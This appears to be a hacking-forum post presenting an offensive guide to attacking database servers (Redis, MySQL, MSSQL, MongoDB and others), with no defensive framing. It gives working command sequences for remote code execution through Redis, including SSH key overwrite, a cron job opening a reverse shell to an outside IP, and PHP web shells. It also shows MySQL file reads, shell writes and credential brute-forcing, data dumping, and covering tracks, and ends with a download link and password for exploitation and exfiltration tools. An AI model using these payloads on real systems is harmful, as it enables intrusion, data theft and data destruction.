Database Hacking Techniques β€” MSSQL, MySQL, MongoDB, Redis & Elasticsearch Exploitation & Post-Exploitation

Blacksec

Administrator
Staff member
πŸ—„οΈ DATABASE HACKING TECHNIQUES πŸ—„οΈMSSQL β€’ MySQL β€’ MongoDB β€’ Redis β€’ Elasticsearch β€’ Exploitation & Post-Exploitation

⚑ DATABASE HACKING: Databases store the crown jewels. This guide covers attacking common database systems β€” from discovery and exploitation to data extraction and covering tracks. Each database has unique attack surfaces and post-exploitation opportunities.

DATABASE ATTACK SURFACES
DatabaseDefault PortAuth MethodCommon VulnsPost-ExploitDifficulty
MySQL/MariaDB3306User:passwordWeak creds, SQL injection, UDF injectionSELECT INTO OUTFILE shell, read filesLow
MSSQL1433Windows Auth / SQL AuthDefault SA:SA, linked servers, xp_cmdshellxp_cmdshell RCE, PowerShellLow-Medium
MongoDB27017None (default), SCRAMNo auth enabled, injection in $whereJavaScript eval, NoSQL injectionLow
Redis6379Password (often none)No auth, CONFIG SET, master/slave replicationSSH key overwrite, cronjob RCELow
Elasticsearch9200None (default)No auth, dynamic scripting, mass data exposureDownload indexes, search for passwordsLow
PostgreSQL5432Password, Peer, LDAPWeak creds, pg_read_file, large object exfilCOPY TO/FROM file, command executionMedium
Oracle1521Password, OS AuthDefault accounts (scott:tiger), TNS poisoningJava stored procedures, DBMS_XSLPROCESSORHigh
Cassandra9042Password (often none)No auth, CQL injectionData extraction, authentication bypassLow-Medium

REDIS EXPLOITATION
Code:
Redis is the easiest database to exploit (often exposed with no auth):

1. Discovery:
   nmap -p 6379 --script redis-info <target>

2. Connect (no auth):
   redis-cli -h <target> -p 6379
   # If prompted for password β†’ try: redis-cli -h <target> AUTH <password>
   # Common: "redis", "foobared", empty string

3. Enumerate:
   INFO  β†’ server info, version, OS
   KEYS *  β†’ all keys
   DBSIZE  β†’ number of keys
   CONFIG GET *  β†’ all configuration
   CLIENT LIST  β†’ connected clients

4. RCE via SSH key (Linux):
   CONFIG SET dir /root/.ssh/
   CONFIG SET dbfilename authorized_keys
   SET sshkey "\n\nssh-rsa AAAAB3N... root@kali\n\n"
   SAVE
   # Now SSH with your private key

5. RCE via cronjob (Linux):
   CONFIG SET dir /var/spool/cron/crontabs/
   CONFIG SET dbfilename root
   SET cron "\n\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n\n"
   SAVE
   # Shell every minute

6. RCE via web shell (if Redis + web server same host):
   CONFIG SET dir /var/www/html/
   CONFIG SET dbfilename shell.php
   SET shell "<?php system($_GET['cmd']); ?>"
   SAVE
   # Access: [URL]http://target/shell.php?cmd=id[/URL]

7. Data extraction:
   redis-cli -h <target> --scan --pattern '*' | xargs redis-cli -h <target> DUMP
   # Extracts all keys in Redis dump format

8. Cover tracks:
   CONFIG SET dir /tmp/
   CONFIG SET dbfilename temp.rdb
   FLUSHALL  (⚠ deletes all data β€” use only if opsec requires)
   # Better: just delete your keys

MYSQL/MARIADB PRIVESC & SHELL
Code:
1. Connect:
   mysql -h <target> -u root -p
   # Default: root:empty (lol)
   # Or: root:root, admin:admin
   # Or: hydra -l root -P passwords.txt mysql://<target>

2. Enumerate:
   SELECT user, host, password FROM mysql.user;
   SELECT @@version, @@datadir, @@basedir;
   SHOW DATABASES;
   SELECT * FROM information_schema.tables;

3. Read files:
   SELECT LOAD_FILE("/etc/passwd");
   SELECT LOAD_FILE("/var/www/html/config.php");
   # MySQL must have FILE privilege

4. Write shell:
   SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php";
   # Requires: FILE privilege, target dir writable, secure_file_priv empty
   # Check: SHOW VARIABLES LIKE "secure_file_priv";

5. UDF (User-Defined Function) RCE:
   # If MySQL version < 5.0 or on Windows:
   # 1. Compile .so/.dll with system() function
   # 2. Upload via INTO OUTFILE to plugin dir
   # 3. CREATE FUNCTION sys RETURNS INTEGER SONAME "udf.so";
   # 4. SELECT sys("id");

6. Privilege escalation:
   # If root@localhost with no password β†’ immediate root
   # If not root β†’ look for MySQL credentials in web configs
   # MySQL running as root β†’ any UDF RCE is root RCE

7. Dump databases:
   mysqldump -u root -p --all-databases > dump.sql
   # Or: SELECT ... INTO OUTFILE for specific tables

TOOLKIT
Code:
Database exploitation tools included:
  - sqlmap (latest) + custom tamper scripts
  - MDAT (Multiple Database Attack Tool)
  - NoSQLMap (MongoDB exploitation)
  - Redis RCE scripts (SSH, cron, web shell)
  - All default credential lists for every database
  - Post-exploitation scripts: data extraction + exfiltration

Download: mega.nz/file/BlackSec_DatabaseHacking_2026
Password: DBHack2026
Tools + cheat sheets + practice VMs

πŸ—„οΈ Databases don't lie. They store everything. Everything. πŸ—„οΈ
 
Top